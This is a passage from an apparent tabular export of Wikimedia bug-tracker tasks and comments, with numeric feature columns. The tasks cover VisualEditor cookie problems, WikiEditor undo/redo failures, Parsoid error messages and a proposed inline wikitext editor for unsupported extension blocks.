And could you also confirm that you're able to edit *as a logged-in user* using the regular non-visual editor?",,,1355819420,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,14.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.119047619047619,0.7857142857142857,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
And could you also confirm that you're able to edit *as a logged-in user* using the regular non-visual editor?"
187329,VisualEditor: Firefox has issues using VE when cookies are disabled,"You can't have *all* cookies disabled, otherwise you wouldn't be able to log in and enable the VE preference. I'm guessing this might be a badtoken error (in which case I'm pretty sure we do actually show an error message, rather than load forever; and in which case you're probably also unable to edit through the regular UI), or it might be something entirely unrelated to cookies.

Can you confirm whether VE always fails to load with Cookie Monster and always loads successfully without Cookie Monster?",,,1355819348,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-zborcq5aeddm5rc2upgl,task_subcomment,,True,c1,1,False,,,-28,,0.5,1.0,1.0,0.0,1.0,4.5,1.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.5,0.0,10.0,10.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,2.5,0.5,0.0,4.5,1.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,2.5,2.0,9.0,1.0,3.5,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.5,10.0,6.5,1.0,0.0,0.0,5.5,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,4.100867269984917,0.8446455505279035,"You can't have *all* cookies disabled, otherwise you wouldn't be able to log in and enable the VE preference. I'm guessing this might be a badtoken error (in which case I'm pretty sure we do actually show an error message, rather than load forever; and in which case you're probably also unable to edit through the regular UI), or it might be something entirely unrelated to cookies.

Can you confirm whether VE always fails to load with Cookie Monster and always loads successfully without Cookie Monster?"
45187,Undo/Redo doesn't work in Chrome/Chromium/Firefox for WikiEditor 0.3.1 in MW 1.19.2,"**Author:** `kartiksinghal`

**Description:**
I am using WikiEditor 0.3.1 in my mediawiki (1.19.2) installation and found that for some weird reason, undo/redo (Ctrl+Z and Ctrl+Shift+Z) doesn't work in the editor with Chrome, Chromium and Firefox browsers; while it works for Rekonq and default KDE webbrowser.

I found T33780 - a slightly different but probably relevant bug report.

Also, undo works just fine in default VisualEditor in Chrome.

Interesting point to notice is that Undo/Redo work fine even on WikiEditor used on Wikipedia, but not in my mediawiki instance, looks like some good changes not pushed to upstream yet.

I also tried test2.wikipedia.org, it works fine there as well.

--------------------------
**Version**: REL1_19-branch
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=31780",Low,25.0,1355717820,1426929084.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-5sshjiczpsr7gablgejn,task_description,invalid,True,c1,1,False,False,False,-28,,1.0,0.0,0.0,0.0,1.5,4.5,0.5,0.0,0.0,0.0,3.5,0.5,0.0,0.5,0.0,2.5,0.0,9.5,8.5,0.0,1.0,0.0,0.5,0.0,2.5,1.0,0.0,0.5,0.0,0.0,0.0,3.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,11.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,1.0,15.5,1.5,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,3.5,8.5,10.5,0.0,0.0,0.0,3.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,3.9302325581395348,0.7093023255813953,"**Author:** CODE

**Description:**
I am using WikiEditor 0.3.1 in my mediawiki (1.19.2) installation and found that for some weird reason, undo/redo (Ctrl+Z and Ctrl+Shift+Z) doesn't work in the editor with Chrome, Chromium and Firefox browsers; while it works for Rekonq and default KDE webbrowser.

I found T33780 - a slightly different but probably relevant bug report.

Also, undo works just fine in default VisualEditor in Chrome.

Interesting point to notice is that Undo/Redo work fine even on WikiEditor used on Wikipedia, but not in my mediawiki instance, looks like some good changes not pushed to upstream yet.

I also tried test2.wikipedia.org, it works fine there as well.

--------------------------
**Version**: REL1_19-branch
**Severity**: minor
**See Also**:
URL"
335368,Undo/Redo doesn't work in Chrome/Chromium/Firefox for WikiEditor 0.3.1 in MW 1.19.2,This has probably already been fixed. I have no issues with undo/redo in Firefox on my local wiki running MW 1.23 and WikiEditor from master.,,,1417536426,,PHID-USER-2uu3axihtun5w4v24nqz,False,,,PHID-TASK-5sshjiczpsr7gablgejn,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0344827586206895,0.9655172413793104,This has probably already been fixed. I have no issues with undo/redo in Firefox on my local wiki running MW 1.23 and WikiEditor from master.
45147,VisualEditor: Parsoid diff failure errors are not very descriptive,"Parsoid diff failure errors are not very descriptive - ""error loading data from server: unsuccessful request: diff failed."" but not why (in this case, it was because the target oldid had been deleted subsequent to the user pressing save, but a more graceful message would be good.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44354
https://bugzilla.wikimedia.org/show_bug.cgi?id=39057
https://bugzilla.wikimedia.org/show_bug.cgi?id=63149",Low,25.0,1355530860,1409684401.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-rmktbubqqol74vvmg4zn,task_description,resolved,True,c1,1,True,False,False,-29,,0.0,0.0,1.0,1.0,2.0,7.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,2.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,3.8181818181818183,0.6704545454545454,"Parsoid diff failure errors are not very descriptive - ""error loading data from server: unsuccessful request: diff failed."" but not why (in this case, it was because the target oldid had been deleted subsequent to the user pressing save, but a more graceful message would be good.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
184692,VisualEditor: Parsoid diff failure errors are not very descriptive,"With the above patch, the former message:

    Error loading data from server: parsoidserver-http-bad-status:
    500. Would you like to retry?

… turns into:

    Error loading data from server: parsoidserver-http-bad-status:
    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
    ENOTFOUND. Would you like to retry?

Which is not ideal, but at least describes things a bit. Marking this as FIXED.",,,1409684401,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,True,,,61,,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,14.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,9.0,5.0,2.0,2.0,0.0,2.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,3.778947368421053,0.5789473684210527,"With the above patch, the former message:

    Error loading data from server: parsoidserver-http-bad-status:
    500. Would you like to retry?

… turns into:

    Error loading data from server: parsoidserver-http-bad-status:
    500: Page Fetch failure for ""BADURL"": Error: getaddrinfo
    ENOTFOUND. Would you like to retry?

Which is not ideal, but at least describes things a bit. Marking this as FIXED."
184689,VisualEditor: Parsoid diff failure errors are not very descriptive,"Change 157775 merged by jenkins-bot:
Add debugging help to VisualEditor

https://gerrit.wikimedia.org/r/157775",,,1409681803,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.6875,1.0,"Change 157775 merged by jenkins-bot:
Add debugging help to VisualEditor

GERRIT_URL"
184684,VisualEditor: Parsoid diff failure errors are not very descriptive,"Change 157775 had a related patch set uploaded by Jforrester:
Add debugging help to VisualEditor

https://gerrit.wikimedia.org/r/157775",,,1409669834,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rmktbubqqol74vvmg4zn,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,1.0,"Change 157775 had a related patch set uploaded by Jforrester:
Add debugging help to VisualEditor

GERRIT_URL"
45133,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","For content which is alienated, provide a way for users to get a wikitext editing window for just the wikitext for that item. This allows users to modify content that does not have an inspector yet, and for ""power users"", make tweaks in an environment that is familiar to them, without overwhelming other users. Ideally, this would be syntax-highlighted and pretty and helpful, but anything at all would be a start. :-)

This will require some serious magic in Parsoid to identify the causal wikitext and allow partial document retrieval, and so this is very much in the ""enhancement"" pile for now; putting in UI as it's an inspector, but it will have impacts all the way down through DM.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1355508900,1414135494.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_description,resolved,True,c1,1,True,False,False,-29,,2.5,0.5,0.5,0.5,0.5,5.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.5,6.0,10.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,3.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.5,3.0,0.0,0.5,0.0,1.0,0.0,13.5,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,5.5,3.0,5.5,0.0,4.0,10.0,0.0,0.5,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,2.5,0.0,2.0,0.0,1.5,3.5,0.5,1.0,0.0,0.0,0.0,4.068354430379747,0.7108386075949367,"For content which is alienated, provide a way for users to get a wikitext editing window for just the wikitext for that item. This allows users to modify content that does not have an inspector yet, and for ""power users"", make tweaks in an environment that is familiar to them, without overwhelming other users. Ideally, this would be syntax-highlighted and pretty and helpful, but anything at all would be a start. :-)

This will require some serious magic in Parsoid to identify the causal wikitext and allow partial document retrieval, and so this is very much in the ""enhancement"" pile for now; putting in UI as it's an inspector, but it will have impacts all the way down through DM.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
183999,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",Fixed by Ed last year in https://gerrit.wikimedia.org/r/#/c/78035/,,,1414135494,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,68,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,Fixed by Ed last year in URL
183997,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","**suitongbowgn** wrote:

(In reply to comment #9)
> (In reply to comment #8)
> > There are quite a lot of extensions where the content should probably be
> > treated as a simple block of text. <math>, <source>, <pre>, <poem> basically
> > just have plain text ending with the appropriate closing tag.
> 
> Sort of. Ideally there will one day be a visual math editor, a visual music
> editor, and we already have [[mw:Extension:CodeEditor]] (which is even
> deployed
> to certain wikis) for JavaScript and CSS, which will likely cover <pre> and
> <source>/<syntaxhighlight> blocks.
> 
> I suppose <poem> and <nowiki> blocks can use a simple editor. :-)

For <math> please see bug 43058. I believe it is already available via VisualEditor experimental code.
For <syntaxhighlight> please see bug 47742. The code is currently under code review and will be available via VE experimental code in the future.",,,1375162399,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.0,21.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,4.0,2.0,3.0,0.0,2.0,9.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.6444444444444444,0.5222222222222223,"**suitongbowgn** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

For <math> please see bug 43058. I believe it is already available via VisualEditor experimental code.
For <syntaxhighlight> please see bug 47742. The code is currently under code review and will be available via VE experimental code in the future."
183993,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #8)
> There are quite a lot of extensions where the content should probably be
> treated as a simple block of text. <math>, <source>, <pre>, <poem> basically
> just have plain text ending with the appropriate closing tag.

Sort of. Ideally there will one day be a visual math editor, a visual music editor, and we already have [[mw:Extension:CodeEditor]] (which is even deployed to certain wikis) for JavaScript and CSS, which will likely cover <pre> and <source>/<syntaxhighlight> blocks.

I suppose <poem> and <nowiki> blocks can use a simple editor. :-)",,,1375159143,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,7.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,3.0,1.0,0.0,2.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,12.0,0.0,4.0,5.0,0.0,1.0,0.0,1.0,4.0,0.0,2.0,0.0,2.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,12.0,3.5494505494505493,0.6593406593406593,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

Sort of. Ideally there will one day be a visual math editor, a visual music editor, and we already have [[mw:Extension:CodeEditor]] (which is even deployed to certain wikis) for JavaScript and CSS, which will likely cover <pre> and <source>/<syntaxhighlight> blocks.

I suppose <poem> and <nowiki> blocks can use a simple editor. :-)"
183992,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","There are quite a lot of extensions where the content should probably be treated as a simple block of text. <math>, <source>, <pre>, <poem> basically just have plain text ending with the appropriate closing tag.

Some partial fix of this would be a great step in allowing VE to be used on some large classes of article.",,,1375133975,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,3.0,0.0,8.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,12.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,6.0,4.0,1.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,3.0,0.0,0.0,11.0,3.6666666666666665,0.7361111111111112,"There are quite a lot of extensions where the content should probably be treated as a simple block of text. <math>, <source>, <pre>, <poem> basically just have plain text ending with the appropriate closing tag.

Some partial fix of this would be a great step in allowing VE to be used on some large classes of article."
183987,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",*** Bug 51131 has been marked as a duplicate of this bug. ***,,,1373482421,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51131 has been marked as a duplicate of this bug. ***
183982,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",*** Bug 47742 has been marked as a duplicate of this bug. ***,,,1366998592,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47742 has been marked as a duplicate of this bug. ***
183974,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")",Moved to Lowest as this has a huge dependency on Parsoid which they are unlikely to implement; depending on their reconsideration in a while.,,,1360206963,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,12.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,23.0,8.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,4.538461538461538,0.8846153846153846,Moved to Lowest as this has a huge dependency on Parsoid which they are unlikely to implement; depending on their reconsideration in a while.
183963,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #3)
> +1, I imagine this feature as a toggle button, which switches the main view
> between its current rendering containing uneditable blocks, to a hybrid
> rendered + wikitext view in which the VE-opaque stuff is displayed as raw
> source.

Actually, we'll probably have inspector buttons on alienated nodes that trigger a float-over IFRAME quasi-window (in the same way that we do for the link inspector) for the individual item, rather than have a different editing mode (disrupting the entire editing flow feels wrong), but these decisions have yet to be taken.",,,1357696093,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,2.0,1.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,9.0,0.0,1.0,9.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.8780487804878048,0.6951219512195121,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Actually, we'll probably have inspector buttons on alienated nodes that trigger a float-over IFRAME quasi-window (in the same way that we do for the link inspector) for the individual item, rather than have a different editing mode (disrupting the entire editing flow feels wrong), but these decisions have yet to be taken."
183954,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","+1, I imagine this feature as a toggle button, which switches the main view between its current rendering containing uneditable blocks, to a hybrid rendered + wikitext view in which the VE-opaque stuff is displayed as raw source.

The VE is great, but I have not found it to be usable for anything beyond the most trivial copy-editing, because of this issue.",,,1357694232,,PHID-USER-p6hvqn5njgnxuagekh4b,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-25,,0.0,1.0,0.0,1.0,1.0,9.0,3.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,1.0,3.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,4.0,7.0,1.0,3.0,14.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,14.0,1.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,1.0,0.0,1.0,0.0,4.027027027027027,0.7702702702702703,"+1, I imagine this feature as a toggle button, which switches the main view between its current rendering containing uneditable blocks, to a hybrid rendered + wikitext view in which the VE-opaque stuff is displayed as raw source.

The VE is great, but I have not found it to be usable for anything beyond the most trivial copy-editing, because of this issue."
183950,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","(In reply to comment #1)
> It should be noted that a lot of this is already supported. I don't think
> it's
> perfect, and VE would have to perform some acrobatics to get it working, but
> you could essentially make it work if you set the wikitext source on the
> element, then serialized the DOM and re-parsed it to get the visual
> representation back.
> 
The wikitext is currently exposed in the data-parsoid attribute, but the contents of that attribute are supposed to be private and VE isn't supposed to look at them, just preserve them. There were earlier hacks in VE that extracted information from data-parsoid to work around Parsoid issues (specifically, we had to look at sHref for links and stx==html for list items), but Gabriel has been glaring at me every time I did that.

So to make the wikitext editable, it would have to be moved to a more public place, or data-parsoid would have to be declared semi-public. Either way, we need to spec how Parsoid is going to present the wikitext to VE and what VE is allowed to do with it.

> James_F and I chatted about this for some time, and I'm pretty sure that's
> one
> of the saner ways to do it (unless you wanted to simply ignore the visual
> portion of ""VisualEditor"" and submit the alien's changes only when the user
> is
> done editing.
Yeah, you probably don't want to continuously rerender as the user types, that would get crazy. But as you say, you'd want to reparse the entered wikitext so you can rerender it and give the user visual feedback. That should be interesting to implement.",,,1355819784,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,False,,,-28,,0.3333333333333333,0.0,0.0,2.0,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,2.0,1.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,3.6666666666666665,11.333333333333334,0.0,5.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,3.3333333333333335,0.6666666666666666,1.3333333333333333,1.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,11.0,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,